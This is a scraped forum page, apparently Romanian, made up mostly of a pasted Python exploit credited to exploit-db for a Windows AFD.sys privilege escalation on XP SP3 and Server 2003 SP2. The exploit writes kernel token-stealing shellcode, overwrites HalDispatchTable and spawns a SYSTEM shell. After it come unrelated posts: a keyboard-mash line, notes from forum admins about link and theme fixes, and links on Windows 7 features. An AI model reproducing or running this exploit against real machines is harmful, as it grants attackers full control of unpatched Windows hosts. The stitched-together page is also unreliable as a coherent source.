connect = windll.Ws2_32.connect connect.argtypes = (SOCKET, c_void_p, c_int) connect.restype = c_int class sockaddr_in(Structure): _fields_ = [ ("sin_family", c_short), ("sin_port", c_ushort), ("sin_addr", c_ulong), ("sin_zero", c_char * 8), ] ## Create our deviceiocontrol socket handle client = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0) if client == ~0: raise OSError, "WSASocket: %s" % (WSAGetLastError(),) try: addr = sockaddr_in() addr.sin_family = socket.AF_INET addr.sin_port = socket.htons(4455) addr.sin_addr = socket.htonl(0x7f000001) # 127.0.0.1 ## We need to connect to a closed port, socket state must be CONNECTING connect(client, byref(addr), sizeof(addr)) except: closesocket(client) raise baseadd = c_int(0x1001) MEMRES = (0x1000 | 0x2000) PAGEEXE = 0x00000040 Zerobits = c_int(0) RegionSize = c_int(0x1000) written = c_int(0) ## This will trigger the path to AfdRestartJoin irpstuff = ("\x41\x41\x41\x41\x42\x42\x42\x42" "\x00\x00\x00\x00\x44\x44\x44\x44" "\x01\x00\x00\x00" "\xe8\x00" + "4" + "\xf0\x00" + "\x45"*231) ## Allocate space for the input buffer dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE) # Copy input buffer to it kernel32.WriteProcessMemory(-1, 0x1000, irpstuff, 0x100, byref(written)) startPage = c_int(0x00020000) kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written)) ################################# KERNEL INFO ################################## lpDriver = c_char_p() lpPath = c_char_p() lpDrvAddress = c_long() (krnlbase, kernelver) = findSysBase() hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1) HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable") HalDispatchTable -= hKernel HalDispatchTable += krnlbase print "[+] HalDispatchTable address:", hex(HalDispatchTable) halbase = findSysBase("hal.dll") ## WinXP SP3 if OS == "XP": HaliQuerySystemInformation = halbase+0x16bba # Offset for XPSP3 HalpSetSystemInformation = halbase+0x19436 # Offset for XPSP3 ## Win2k3 SP2 else: HaliQuerySystemInformation = halbase+0x1fa1e # Offset for WIN2K3 HalpSetSystemInformation = halbase+0x21c60 # Offset for WIN2K3 print "[+] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation) print "[+] HalpSetSystemInformation address:", hex(HalpSetSystemInformation) ################################# EXPLOITATION ################################# shellcode_address_dep = 0x0002071e shellcode_address_nodep = 0x000207b8 padding = "\x90"*2 HalDispatchTable0x4 = HalDispatchTable + 0x4 HalDispatchTable0x8 = HalDispatchTable + 0x8 ## tokenbkaddr = 0x00020900 if OS == "XP": _KPROCESS = "\x44" _TOKEN = "\xc8" _UPID = "\x84" _APLINKS = "\x88" else: _KPROCESS = "\x38" _TOKEN = "\xd8" _UPID = "\x94" _APLINKS = "\x98" restore_ptrs = "\x31\xc0" + \ "\xb8" + struct.pack("L", HalpSetSystemInformation) + \ "\xa3" + struct.pack("L", HalDispatchTable0x8) + \ "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \ "\xa3" + struct.pack("L", HalDispatchTable0x4) tokenstealing = "\x52" +\ "\x53" +\ "\x33\xc0" +\ "\x64\x8b\x80\x24\x01\x00\x00" +\ "\x8b\x40" + _KPROCESS +\ "\x8b\xc8" +\ "\x8b\x98" + _TOKEN + "\x00\x00\x00" +\ "\x89\x1d\x00\x09\x02\x00" +\ "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\ "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\ "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\ "\x75\xe8" +\ "\x8b\x90" + _TOKEN + "\x00\x00\x00" +\ "\x8b\xc1" +\ "\x89\x90" + _TOKEN + "\x00\x00\x00" +\ "\x5b" +\ "\x5a" +\ "\xc2\x10" restore_token = "\x52" +\ "\x33\xc0" +\ "\x64\x8b\x80\x24\x01\x00\x00" +\ "\x8b\x40" + _KPROCESS +\ "\x8b\x15\x00\x09\x02\x00" +\ "\x89\x90" + _TOKEN + "\x00\x00\x00" +\ "\x5a" +\ "\xc2\x10" shellcode = padding + restore_ptrs + tokenstealing shellcode_size = len(shellcode) orig_size = shellcode_size # Write shellcode in userspace (dep) kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode, shellcode_size, byref(written)) # Write shellcode in userspace *(nodep) kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode, shellcode_size, byref(written)) ## Trigger Pointer Overwrite print "[*] Triggering AFDJoinLeaf pointer overwrite..." IOCTL = 0x000120bb # AFDJoinLeaf inputbuffer = 0x1004 inputbuffer_size = 0x108 outputbuffer_size = 0x0 # Bypass Probe for Write outputbuffer = HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1 IoStatusBlock = c_ulong() NTSTATUS = ntdll.ZwDeviceIoControlFile(client, None, None, None, byref(IoStatusBlock), IOCTL, inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size ) ## Trigger shellcode inp = c_ulong() out = c_ulong() inp = 0x1337 hola = ntdll.NtQueryIntervalProfile(inp, byref(out)) ## Spawn a system shell, w00t! print "[*] Spawning a SYSTEM shell..." os.system("cmd.exe /T:C0 /K cd c:\\windows\\system32") ############################## POST EXPLOITATION ############################### print "[*] Restoring token..." ## Restore the thingie shellcode = padding + restore_ptrs + restore_token shellcode_size = len(shellcode) trail_padding = (orig_size - shellcode_size) * "\x00" shellcode += trail_padding shellcode_size += (orig_size - shellcode_size) ## Write restore shellcode in userspace (dep) kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode, shellcode_size, byref(written)) ## Write restore shellcode in userspace (nodep) kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode, shellcode_size, byref(written)) ## Overwrite HalDispatchTable once again NTSTATUS = ntdll.ZwDeviceIoControlFile(client, None, None, None, byref(IoStatusBlock), IOCTL, inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size ) ## Trigger restore shellcode hola = ntdll.NtQueryIntervalProfile(inp, byref(out)) print "[+] Restore done! Have a nice day :)" Sursa: http://www.exploit-db.com/exploits/18176/

dfgdfgdgdf

Update: Am readus link-urile la forma initiala, gen "44039-rst-upgrade-2.rst" E posibil sa apara probleme, in mare am verificat si pare ok, daca ceva nu e in regula, daca apar link-uri invalide va rog sa ma anuntati. PS: Unele link-uri erau de forma "44039-rst-upgrade-2-post-1337.html", acum apar cu ".rst", veti fi redirectionati de pe un astfel de link cu "html". Sper sa nu apara probleme.

O sa ne ocupam si de homepage, in limita timpului disponibil.

Cu tema sper ca vom rezolva in cateva zile. Mai are cineva aceasta problema, cu 10 caractere cand scrie un mesaj valid, adica nu e tot un "quote" de exemplu?

Daca ati fi cautat putin ati fi gasit asta: http://en.wikipedia.org/wiki/Features_new_to_Windows_7 Daca ati vrea sa intrati in detalii: http://channel9.msdn.com/Shows/Going+Deep/Mark-Russinovich-Inside-Windows-7 Cateva detalii tehnice: http://www.slideshare.net/msigeek/windows-7-ver-4